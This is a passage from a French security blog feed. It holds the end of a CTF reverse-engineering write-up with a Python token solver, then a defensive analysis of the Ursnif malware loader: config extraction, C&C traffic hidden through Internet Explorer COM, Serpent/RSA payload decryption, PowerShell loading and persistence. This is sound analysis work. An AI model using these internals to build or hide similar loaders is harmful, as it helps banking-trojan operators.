    &lt;span class="n"&gt;final_sub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x00001307&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;esil&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;,&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;final_sub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;final_sub&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;final_sub&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;xor_operand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;add_operand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tasks.aeroctf.com&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;44324&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;toto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;makefile&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Enter valid token&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;ascii&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La seule partie "compliquée" ici étant d'extraire la bonne valeur du "lea ecx, [rax - 0xb]", où je me suis basé sur l'évaluation ESIL faite par radare2 pour récupérer la bonne valeur. Enfin, dernière subtilité, le serveur renvoie une séquence ANSI de reset du terminal après avoir envoyé le flag, il a donc fallu rediriger la sortie vers un fichier, pour obtenir le flag.&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Reverse-Engineering"/><category term="Write-UP"/><category term="CTF"/></entry><entry><title>Ursnif: analyse du loader (partie 2)</title><link href="/ursnif-analyse-du-loader-partie-2.html" rel="alternate"/><published>2020-02-22T15:26:00+01:00</published><updated>2020-02-22T15:26:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2020-02-22:/ursnif-analyse-du-loader-partie-2.html</id><summary type="html">&lt;p&gt;Cet article fait suite à &lt;a href="/ursnif-analyse-du-loader.html"&gt;mon précédent article&lt;/a&gt;, et concernera l'analyse du dernier binaire extrait. Ce fichier se présente (encore) sous la forme d'une DLL. La DLL fait ses initialisations habituelles (création d'un objet Event pour notifier le bot lorsque la DLL est en train d'être déchargée, détection de la version de Windows et ouverture d'un handle sur son propre process).&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Cet article fait suite à &lt;a href="/ursnif-analyse-du-loader.html"&gt;mon précédent article&lt;/a&gt;, et concernera l'analyse du dernier binaire extrait. Ce fichier se présente (encore) sous la forme d'une DLL. La DLL fait ses initialisations habituelles (création d'un objet Event pour notifier le bot lorsque la DLL est en train d'être déchargée, détection de la version de Windows et ouverture d'un handle sur son propre process).&lt;/p&gt;


&lt;h2&gt;Initialisation&lt;/h2&gt;
&lt;p&gt;Comme la fois précédente, on retrouve la section .bss chiffrée avec le même algorithme, mais ici, le déchiffrement est directement fait au lancement du bot et non au travers d'un Vectored Exception Handler, comme on peut le voir:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/decrypt_bss.png"&gt;&lt;img src="/media/ursnif2/decrypt_bss.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Un paramètre &lt;code&gt;GetTickCount() &amp;amp; 0x1e&lt;/code&gt; est en plus rajouté à la clé, et le bot boucle tant que le déchiffrement n'est pas valide, c'est-à-dire tant que ce paramètre est différent de 0. Une fois la section .bss déchiffrée, le bot vérifie s'il tourne sur une machine 64bits ou 32bits, avant de passer la main à la fonction principale.&lt;/p&gt;
&lt;h2&gt;Fingerprinting de la machine&lt;/h2&gt;
&lt;p&gt;Une fois dans la fonction principale, le bot commence par récupérer le numéro de version de Windows en lisant les champs adéquats dans l'en-tête PE de ntdll.dll:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/win_ver_ntdll.png"&gt;&lt;img src="/media/ursnif2/win_ver_ntdll.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le bot récupère ensuite le SID de l'utilisateur ayant lancé le process, et calcul la somme des sub-authorities.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/sid_sum.png"&gt;&lt;img src="/media/ursnif2/sid_sum.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Si le checksum est nul (c'est-à-dire qu'on a aucune sous-autorité, ce qui veut vraisemblablement dire que le bot est lancé depuis un compte système), alors la date d'installation du système récupérée depuis le registre est utilisée à la place.&lt;/p&gt;
&lt;p&gt;La valeur ainsi récupérée va être xorée avec une constante pour former la "graine" qui servira à construire l'identificateur du bot, après avoir créé une structure de contexte qui stockera les informations du bot.
Une fois cet identificateur généré, le bot va lire sa configuration avant de passer de communiquer avec son C&amp;amp;C.&lt;/p&gt;
&lt;h2&gt;Extraction de la configuration&lt;/h2&gt;
&lt;p&gt;Le bot commence tout d'abord par extraire ce qui ressemble à une clé RSA via le mécanisme de "ressources" vu dans l'article précédent (dont l'identifiant est 0xE1285E64). Puis, le bot extrait sa configuration depuis une "resource" d'identifiant 0x8FB1DDE1. Cette configuration a un format différent du système de ressources (ce ne serait pas amusant sinon), dont le pseudocode donnerait quelque chose du genre:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwTag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwRelativeOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* offset relatif au début de l&amp;#39;entrée */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwUnused&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOT_CONFIG_ENTRY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwNumEntries&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwUnused&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOT_CONFIG_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOT_CONFIG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;ExtractConfig&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOT_CONFIG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pCfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwTag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOT_CONFIG_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pCfg&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pCfg&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dwNumEntries&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dwTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwTag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dwRelativeOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;pEntry&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une liste des identifiants de configuration se trouve dans le tableau ci-dessous:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Identifiant&lt;/th&gt;
&lt;th&gt;Utilité&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;11271C7F&lt;/td&gt;
&lt;td&gt;1er timer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48295783&lt;/td&gt;
&lt;td&gt;2ème timer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;584E5925&lt;/td&gt;
&lt;td&gt;3ème timer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;656B798A&lt;/td&gt;
&lt;td&gt;ID du bot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;556AED8F&lt;/td&gt;
&lt;td&gt;ID du serveur&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4FA8693E&lt;/td&gt;
&lt;td&gt;Clé de chiffrement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D0665BF6&lt;/td&gt;
&lt;td&gt;Liste d'URLs du loader&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Une fois les éléments de sa configuration extraits, le bot va enfin contacter son C&amp;amp;C.&lt;/p&gt;
&lt;h2&gt;Communication avec le C&amp;amp;C&lt;/h2&gt;
&lt;p&gt;Après avoir créé son premier timer dont le délai d'attente est récupéré depuis la configuration, le malware va modifier la date du dernier lancement d'Internet Explorer, ainsi que désactiver la vérification du navigateur au démarrage. Comme nous le verrons ultérieurement, la communication avec le C&amp;amp;C se fait en pilotant Internet Explorer grâce à COM, ce qui est assez original pour être souligné.&lt;/p&gt;
&lt;p&gt;Mais d'abord, regardons ce que le bot envoie:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/wsprintf_url.png"&gt;&lt;img src="/media/ursnif2/wsprintf_url.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le bot transmet donc un paramètre "soft", sa version, l'identifiant de la machine générée précédemment dans le paramètre "user", un identifiant (probablement de botnet), ainsi qu'un paramètre "crc" indiquant le numéro de la requête faite au C&amp;amp;C (nous reviendrons sur ce point plus tard). Une fois ceci fait, l'URL va être transformée selon l'algorithme suivant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un paramètre aléatoire est préfixé à la query string&lt;/li&gt;
&lt;li&gt;La chaîne générée est chiffrée avec l'algorithme "Serpent" en mode CBC&lt;/li&gt;
&lt;li&gt;Le résultat est encodé en base64, puis les caractères "/" sont remplacés par "_" et les "=" à la fin sont supprimés grâce à la fonction StrTrimA&lt;/li&gt;
&lt;li&gt;Des caractères "/" sont ajoutés aléatoirement dans le résultat&lt;/li&gt;
&lt;li&gt;L'URL du C&amp;amp;C suivi de "/images/" est préfixée, et l'extension ".avi" est ajoutée pour construire l'URL finale&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La requête sera donc envoyée au serveur en passant par ce bon vieux Internet Explorer. Le bot récupère d'abord une instance d'un objet InternetExplorer.Application, avant de récupérer les interfaces IWebBrowser et IWebBrower2, avant de cacher la fenêtre d'Internet Explorer.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/ie_createobject.png"&gt;&lt;img src="/media/ursnif2/ie_createobject.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Une fois l'objet IE et ses interfaces récupérés, le bot peut désormais envoyer sa requête au C&amp;amp;C:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/contact_cc.png"&gt;&lt;img src="/media/ursnif2/contact_cc.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Une fois la page chargée, le bot invoque la méthode get_Document de IWebBrowser, récupère l'interface IHTMLDocument2 et invoquer la méthode get_URL pour récupérer l'URL sur laquelle on atterit. Le bot vérifie ensuite si la chaîne "invalidcert" se trouve dans l'URL récupérée (ce qui signifie que la page a été redirigée vers res://ieframe.dll/invalidcert.htm). Si c'est le cas appelle une autre fonction (appelée "NavigateNext" dans l'IDB) afin de "cliquer" sur le lien permettant la connexion HTTPS avec un certificat invalide.&lt;/p&gt;
&lt;p&gt;Une fois la bonne page chargée, le bot récupère le contenu de la page HTML reçue. Malheureusement, les C&amp;amp;C étant décédés au moment de leur analyse (paix à leur âme :'(), j'ai dû poursuivre l'analyse en me basant sur le .pcap enregistré par any.run lors de son analyse. En l'analysant, j'ai pu observer 2 connexions au C&amp;amp;C qui répond avec du contenu en base64.&lt;/p&gt;
&lt;p&gt;Le base64 est donc décodé, puis, le bot déchiffre avec sa clé RSA les 256 derniers octets de la réponse reçue. Ce bloc contient entre autres la clé de chiffrement Serpent du reste du bloc, ainsi que la taille et le hash MD5 du reste de la réponse. Si la clé Serpent ne contient que des octets nuls, le bot se contente juste de recopier la réponse.&lt;/p&gt;
&lt;p&gt;Le premier retour renvoyé par le serveur est un PE, vraisemblablement le bot final (qui fera peut-être l'objet d'un futur article). Le deuxième retour, lui, est un script Powershell qui aura pour but de charger le PE en mémoire.&lt;/p&gt;
&lt;p&gt;Les réponses sont stockées dans une structure que l'on pourrait définir comme il suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ReturnSlot&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwMappedSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMappedImage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La communication avec le C&amp;amp;C se fait plusieurs étapes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le malware commence par récupérer un PE 32 bits (la charge finale) depuis le C&amp;amp;C (le paramètre envoyé est "crc=1")&lt;/li&gt;
&lt;li&gt;Le malware, si nous somme sur une machine 64 bits, récupère un PE 64bits (le paramètre envoyé est "crc=2")&lt;/li&gt;
&lt;li&gt;Enfin, le malware récupère un script powershell, qui servira à lancer le bot ("crc=3")&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Persistance et Powershell&lt;/h2&gt;
&lt;p&gt;Une fois les binaires et le powershell récupérés sur le serveur, le bot va enfin mettre en place sa persistance. Le bot commence par générer des noms à partir des dlls présentes sur le système, puis un nom de clé de la forme "Software\AppDataLow\Software\Microsoft{GUID}", avant de vérifier le niveau d'intégrité du process, et sortir si jamais il est en processus "restreint".
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/get_rid_call.png"&gt;&lt;img src="/media/ursnif2/get_rid_call.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;La fonction appelée invoque donc QueryTokenInformation, avec le paramètre TokenIntegrityLevel, qui renvoie le SID du niveau d'intégrité souhaité, comme ci-dessous.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/get_rid1.png"&gt;&lt;img src="/media/ursnif2/get_rid1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;La réponse va ensuite être traitée: les deux PE récupérés vont être mappés directement en mémoire. Puis, une fois mappés, le bot récupère l'adresse du premier export (qui se chargera de résoudre l'IAT et les relocations), et patche le début de la zone mémoire par un saut relatif vers cette fonction.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif2/patch_bin.png"&gt;&lt;img src="/media/ursnif2/patch_bin.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
